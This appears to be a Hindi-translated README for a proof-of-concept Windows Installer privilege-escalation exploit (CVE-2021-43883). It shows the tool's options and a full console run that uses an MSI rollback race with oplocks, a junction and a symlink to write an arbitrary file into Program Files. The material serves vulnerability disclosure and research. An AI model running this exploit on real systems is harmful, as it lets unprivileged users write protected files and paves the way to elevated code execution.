
Windows MSI Installer LPE (CVE-2021-43883)
InstallerFileTakeOver का एक छोटा, न्यूनतम और साफ-सुथरा संस्करण, जिसे शून्य-दिवस शोषण के रूप में जाना जाता है जो CVE-2021-41379 का "भिन्नता" है (बाद में CVE-2021-43883 असाइन किया गया)। यह संस्करण InstallerFileTakeOver की तरह शेल नहीं खोलता। इस कोड का उद्देश्य एक सरल प्रूफ ऑफ कॉन्सेप्ट बनाना था जो फ़ाइल निर्माण हमले को अधिक विश्वसनीय रूप से प्रदर्शित करता है। यह प्रूफ ऑफ कॉन्सेप्ट उपयोगकर्ता द्वारा अनुरोधित मनमानी फ़ाइल बनाएगा (और लिखने योग्यता साबित करने के लिए स्वयं को इसमें कॉपी करेगा)। कोड निष्पादन का प्रदर्शन पाठक पर छोड़ा गया एक साधारण अभ्यास है।
हमले के काम करने के तरीके को समझने के लिए, कृपया AttackerKB write up देखें।
टूल को तीन पैरामीटर की आवश्यकता होती है:
C:\Users\albinolobster\source\repos\shakeitoff\x64\Release>.\shakeitoff.exe
option "msi_path" is required
Allowed options:
-h, --help produce help message
-m, --msi_path arg The path to the MSI to install
-i, --install_path arg The path to install to
-p, --target_path arg The file to create
PoC बस स्वयं को लक्ष्य फ़ाइल में कॉपी करेगा।
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
File Not Found
C:\Users\Public>.\shakeitoff.exe -m C:\Users\Public\shakeitoff.msi -i C:\Users\Public\lol\ -p "C:\Program Files\lol"
[+] User provided MSI path: C:\Users\Public\shakeitoff.msi
[+] The target path is: C:\Program Files\lol
[+] Create the temp directory structure we'll install into
[+] Grabbing handle to lock C:\Users\Public\lol\shakeitoff\haters.jpg
[+] Grabbing a directory handle of C:\Users\Public\lol\shakeitoff\
[+] Monitor shakeitoff\shakeitoff for an rbf file
[+] MSI install: ACTION=ADMIN REBOOT=ReallySuppress TARGETDIR=C:\Users\Public\lol\ C:\Users\Public\shakeitoff.msi
[+] Grabbing a handle to inner shakeitoff directory
[+] In callback for oplock one
[+] Opening handle to C:\Users\Public\lol\shakeitoff\8da858.rbf
[+] Creating the callback directory at C:\Users\Public\lol\cb_directory
[+] Grab a handle for the callback directry
[+] Creating a junction from C:\Users\Public\lol\cb_directory to \BaseNamedObjects\Restricted
[+] Inside callback two
[+] Release the hater.jpg handle to unlock
[+] Move the rbf file to C:\Users\Public\lol\weird_directory
[+] Move inner shakeitoff to C:\Users\Public\lol\weird_directory
[+] Move junction at C:\Users\Public\lol\cb_directory to C:\Users\Public\lol\shakeitoff
[+] Configuring symlink from \BaseNamedObjects\Restricted\8da858.rbf to \??\C:\Program Files\lol
[+] symlink created!
[+] MsiInstallProductA return value: 1603
[+] Exploit thread joined
[+] Copy into target!
C:\Users\Public>dir "C:\Program Files\lol"
Volume in drive C has no label.
Volume Serial Number is 5E1E-AC13
Directory of C:\Program Files
12/02/2021 02:01 PM 368,640 lol
1 File(s) 368,640 bytes
0 Dir(s) 86,015,610,880 bytes free
FileOpLock कोड angrypolarbearbug2 से निकाला गया (थोड़ा संशोधित) संस्करण है।